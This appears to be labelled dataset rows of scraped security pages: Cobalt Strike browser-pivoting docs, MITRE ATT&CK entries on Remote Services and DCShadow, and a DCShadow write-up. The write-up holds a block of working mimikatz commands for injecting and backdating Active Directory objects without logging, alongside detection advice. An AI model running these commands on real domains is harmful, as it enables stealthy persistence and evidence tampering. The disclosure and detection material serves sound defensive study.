explorer.exe. The process is a child tab when the PPID references iexplore.exe. Cobalt Strike will show a checkmark next to the processes it thinks you should inject into. Once Browser Pivoting is setup, set up your web browser to use the Browser Pivot Proxy server. The Browser Pivot Proxy server is an HTTP proxy server. Use You may browse the web as your target user once browser pivoting is started. Beware that the browser pivoting proxy server will present its SSL certificate for SSL-enabled websites you visit. This is necessary for the technology to work. The browser pivoting proxy server will ask you to add a host to your browser's trust store when it detects an SSL error. Add these hosts to the trust store and press refresh to make SSL protected sites load properly. If your browser pins the certificate of a target site, you may find its impossible to get your browser to accept the browser pivoting proxy server\xe2\x80\x99s SSL certificate. This is a pain. One option is to use a different browser. The open source Chromium browser has a command-line option to ignore all certificate errors. This is ideal for browser pivoting use: chromium --ignore-certificate-errors To stop the Browser Pivot proxy server, type browserpivot stop in its Beacon console. Close the Browser Pivot tab to stop the browser pivoting proxy server. You will need to reinject the browser pivot proxy server if the user closes the tab you're working from. The Browser Pivot tab will warn you when it can't connect to the browser pivot proxy server in the browser. Notice: OpenJDK 11 has a TLS implementation bug that causes ERR_SSL_PROTOCOL_ERROR (Chrome/Chromium) and SSL_ERROR_RX_RECORD_TOO_LONG (Firefox) when interacting with https:// sites. If you encounter these errors--downgrade your team server to Oracle Java 1.8 or OpenJDK 10. How it Works Internet Explorer delegates all of its communication to a library called WinINet. This library, which any program may use, manages cookies, SSL sessions, and server authentication for its consumers. Cobalt Strike's Browser Pivoting takes advantage of the fact that WinINet transparently manages authentication and reauthentication on a per process basis. By injecting Cobalt Strike's Browser Pivoting technology into a user's Internet Explorer instance, you get this transparent reauthentication for free. \xc2\xa9 2012-2018 Strategic Cyber, LLC | Corporate Compliance & Ethics | Blog","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Remote Services - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Remote Services Remote Services An adversary may use Valid Accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. ID:\xc2 T1021 Tactic: Lateral Movement Platform:\xc2 Linux, macOS, Windows System Requirements:\xc2 Active remote service accepting connections and valid credentials Data Sources:\xc2 Authentication logs CAPEC ID: CAPEC-555 Version:\xc2 1.0 Mitigations Mitigation Description Multi-factor Authentication Use multi-factor authentication on remote service logons where possible. User Account Management Limit the accounts that may use remote services. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Examples Name Description APT39 APT39 used secure shell (SSH) to move laterally among their targets. [7] Cobalt Strike Cobalt Strike can SSH to a remote service. [1] Empire Empire contains modules for executing commands over SSH as well as in-memory VNC agent injection. [2] GCMAN GCMAN uses Putty and VNC for lateral movement. [4] Leviathan Leviathan used ssh for internal reconnaissance. [8] menuPass menuPass has used Putty Secure Copy Client (PSCP) to transfer data. [6] OilRig OilRig has used Putty to access compromised systems. [5] Proton Proton uses VNC to connect into systems. [3] TEMP.Veles TEMP.Veles has relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution. [9] Detection Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. References Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017. Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016. Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018. Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016. Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017. Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019. Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019. Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"DCShadow - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise DCShadow DCShadow DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). [1] [2] Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. [3] This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). [1] The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. [1] [2] ID:\xc2 T1207 Tactic: Defense Evasion Platform:\xc2 Windows Permissions Required:\xc2 Administrator Data Sources:\xc2 API monitoring, Authentication logs, Network protocol analysis, Packet capture Defense Bypassed:\xc2 Log analysis Contributors:\xc2 Vincent Le Toux Version:\xc2 1.0 Mitigations This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. Examples Name Description Mimikatz Mimikatz\xe2\x80\x99s LSADUMP::DCShadow module can be used to make AD updates by temporarily setting a computer to be a DC. [4] [3] Detection Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. [5] [1] [2] DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). [2] Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). [1] Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. [6] [7] Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. [2] Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with ""GC/"") by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\xe2\x80\x934B06\xe2\x80\x9311D1-AB04\xe2\x80\x9300C04FC2DCD2) can be set without logging. [7] A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete. References Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018. Delpy, B. & LE TOUX, V. (2018, January 24). Active Directory: What can make your million dollar SIEM go blind?. Retrieved March 20, 2018. Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015. Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015. Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018. Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018. Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"DCShadow attack DCShadow They told me I could be anything I wanted ... So I became a domain controller Beware that pushing data using replication can brick your domain (although we never did it while developing DCShadow) Executive Summary DCShadow is a new feature in mimikatz located in the lsadump module. It simulates the behavior of a Domain Controller (using protocols like RPC used only by DC) to inject its own data, bypassing most of the common security controls and including your SIEM. It shares some similarities with the DCSync attack (already present in the lsadump module of mimikatz). As a reminder a Domain Controller is a server controlling an ""Active Directory"", a shared authentication service used in enterprises. First disclosure DCShadow has been presented at the Bluehat IL 2018 conference by Vincent LE TOUX and Benjamin Delpy Active Directory: What can make your million dollar SIEM go blind? Black Hat USA 2018 DCShadow has been presented at the Black Hat USA 2018 conference by Vincent LE TOUX and Benjamin Delpy The slides of the conference has been published HERE Previous work It was already possible to simulate a domain controller or to alter its internal database. For example, by installing in a virtual machine a customized version of SAMBA. But given the fact that running a virtual machine needs hardware instruction (on x64 CPU it is disabled by default), a physical interaction with the computer may be required to enable them in the BIOS/EFI. In addition the size and time needed for a VM is not scalable. DSInternals powershell tools already allows the editing of an existing AD database, but in offline mode. Putting it online requires to use the AD recovery mode which is not straight forward. Description of the attack The attacks is done using the following steps: registering the ""DC"" by creating 2 objects in the CN=Configuration partition and altering the SPN of the computer used. Pushing the data (triggered using DrsReplicaAdd, KCC or other internal AD events) Removing the object previously created to demote the DC Beware of testing your data before sending it !! Here is an example of error when pushing an incorrect DACL (in this case the Owner part was missing) And some other example of invalid data Is it a vulnerability ? No, because the protocols used are documented: MS-ADTS MS-DRSR It is a post exploitation attack (also called domination attack) because it requires domain admin (or enterprise admin) privileges Why is it a game changer ? Functionally At a functional level: It can create new backdoor such as SIDHistory, ntpwdHistory, ... It is a tool to erase the attacker traces (replication metadata, schemasignatureinfo, ...) Create unseen XSS attack on administration reports Technically At a technical level: The modifications done are made without any logging Modifications done only by a DC such as setting the SID History or WhenChanged can be done without logging Partial changes such as changing only the previous password without the new one can be done without logging Modifications not compliant with the AD data such as a very long sAMAccountName (< 16 characters) can be done without logging In short it bypasses the SIEM monitoring done on the Active Directory Demo Object creation and deletion DCShadow allows to create object in the past or remove immediately objects via lingering or class change. Show code privilege::debug process::runp lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=instanceType /value=4 lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=name /value=DemoTest3 lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=displayName /value=DemoTest3 lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectCategory /value=CN=Person,CN=Schema,CN=Configuration,DC=bastion,DC=local lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=contact lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=organizationalPerson /multiple lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=person /multiple lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=top /multiple // beware to change the guid at each call !!!! lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=objectGUID /value={39ab8619-d3fd-410c-b627-64b651043841} lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=whenCreated /value=2006-07-17 // beware to copy past an existing SDDL and to check that the beginning (O:DAG:DA) is here lsadump::dcshadow /stack /object:CN=DemoTest3,OU=Demo,DC=bastion,DC=local /attribute=nTSecurityDescriptor /value:O:DAG:DAD:AI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;DA)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CIID;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;CIID;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;EA)(A;CIID;LC;;;RU)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIID;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS) lsadump::dcshadow // main console lsadump::dcshadow /push lsadump::dcshadow /viewreplication // main console lsadump::dcshadow /kill:CN=DemoTest3,OU=Demo,DC=bastion,DC=local lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=contact lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=organizationalPerson /multiple lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=person /multiple lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=top /multiple lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=objectClass /value=dynamicObject /multiple lsadump::dcshadow /stack /object:CN=DemoTest2,OU=Demo,DC=bastion,DC=local /attribute=msDS-Entry-Time-To-Die /value=2018-08-01 lsadump::dcshadow // main console lsadump::dcshadow /push Schema modifications Modify the schema is a powerful way to get backdoor. An example is the modification of the SDDL used by LAPS to store the local admin password. However such modification changes the attribute schemaInfo which tracks such modification and can be used by blue teams. DCShadow allows schema modifications without a change of schemaInfo. Forensics of the attack Because DCShadow is pushing replication information, DCShadow is responsible for pushing replication metadata. This metadata is accessible to anyone (including from trusted domains) and available throught LDAP or RPC. This metadata is used by forensic analysts to rebuild the history of change and understand what happened on a domain. Well, this data cannot be trusted anymore. Metadata alteration DCShadow allows to modify the object metadata used to recover the past modifications. How can it be detected ? DCShadow is easy to detect at network level. API like DrsAddEntry or DrsReplicaAdd are called only from a DC so a call from another computer should be considered as suspicious. Using logs DCShadow can be detected when objects in the Configuration partition is added or when the computer object is changed. However a DC does not replicate the modifications immediately and regroup the changes when it replicates (a few minutes). As a consequence, the changes can be observed only on the DC attacked. This can be avoided by reusing a demoted DC (the information needed is already present in the configuration partition). DCShadow does set the SPN GC/* or E3514235-4B06-11D1-AB04-00C04FC2DCD2/* on computers object (via DrsAddEntry) Using LDAP cookie (LDAP_SERVER_DIRSYNC_OID) is also a way to be notified of LDAP modification Using Audit Detailed Directory Service Replication events 4928 An Active Directory replica source naming context was established. and 4929 An Active Directory replica source naming context was removed. Also @gentilkiwi is providing a splunk script for its detection: https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2 New attack possibilities Here are the new attack possibilities allowed by DCShadow: Compromise trusted domain via SID History and NTLM (previously only kerberos) ""Reverse DCSync"" - set the previous hash of the krbtgt to a known value 